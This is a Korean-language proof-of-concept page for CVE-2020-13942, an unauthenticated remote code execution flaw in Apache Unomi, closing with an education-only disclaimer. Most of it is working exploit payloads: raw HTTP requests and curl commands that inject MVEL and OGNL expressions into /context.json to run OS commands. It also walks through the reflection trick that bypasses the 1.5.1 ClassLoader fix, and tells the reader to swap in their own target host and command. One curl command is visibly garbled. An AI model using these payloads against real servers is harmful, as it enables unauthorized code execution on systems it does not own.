
CVE-2020-13942 인증되지 않은 RCE POC (MVEL 및 OGNL 인젝션을 통한)
취약점에 대한 원본 블로그 게시물: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
두 가지 RCE 벡터가 있습니다: MVEL 주입을 통한 것과 OGNL 주입을 통한 것입니다. 두 벡터 모두 서로 다른 코드를 대상으로 하지만, 페이로드는 상당히 유사해 보입니다. 이전 CVE 수정 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 은 OGNL 표현식 실행을 제한하려고 했지만 MVEL을 완전히 놓쳤습니다. CVE-2020-13942는 1.5.1 버전에서 이루어진 수정을 우회합니다.
Unomi 서버가 노출하는 context.js\json에 대해 BurpSuite 또는 curl을 사용하여 다음 HTTP 요청을 보내고 RCE를 얻으십시오. 대상 URL 및 OS 명령에 따라 Host 및 Content-length를 변경하십시오.
두 POC 모두 응답으로 HTTP/1.1 400 Header Folding을 받을 수 있으며, 이는 페이로드에서 \r\n이 망가졌음을 의미하므로, 페이로드를 한 번 더 복사하여 붙여넣어 보십시오.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
OGNL POC는 1.5.1 버전에서 도입된 ClassLoader 제한을 우회했습니다. Java 리플렉션 API를 사용하면 ClassLoader.loadClass 메서드를 트리거하지 않고 객체를 생성하여 제한된 OGNL 표현식 평가를 막을 수 있습니다.
페이로드 OGNL 표현식 분석:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")는 java.lang.Runtime Class 객체를 생성합니다. 여기서 #this는 컨텍스트 객체에 대한 참조입니다.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]는 리플렉션을 통해 Runtime 클래스의 메서드 목록을 가져오고 목록에서 getRuntime 메서드를 선택합니다. 표현식의 {^ #this.name.equals(\"getRuntime\")} 부분은 이름이 getRuntime인 Method를 찾아 조건과 일치하는 Method 목록을 반환합니다. 이 목록의 첫 번째이자 유일한 Method는 getRuntime입니다.#runtimeobject = #runtimemethod.invoke(null,null)는 getRuntime() 메서드를 호출하고 Runtime 객체를 얻습니다.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0])는 Runtime 클래스의 메서드를 가져오고 메서드 목록에서 단일 String 인수를 가진 Runtime.exec()를 검색합니다.#execmethod.invoke(#runtimeobject,\"gnome-calculator\")는 지정된 인수로 Runtime.exec()를 호출합니다.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
이 페이지에 제공된 모든 정보는 교육 목적으로만 제공됩니다. 이 웹사이트의 정보는 컴퓨터 시스템의 보안을 강화하기 위해서만 사용해야 하며, 악의적이거나 파괴적인 공격을 위해 사용해서는 안 됩니다.
이 정보를 오용하여 컴퓨터 시스템에 무단 액세스 권한을 얻어서는 안 됩니다. 또한 소유자의 서면 허가 없이 소유하지 않은 컴퓨터에 해킹 시도를 하는 것은 불법입니다.
저는 이 웹사이트에 제공된 정보의 사용으로 인해 발생하는 직간접적인 손해에 대해 책임을 지지 않습니다.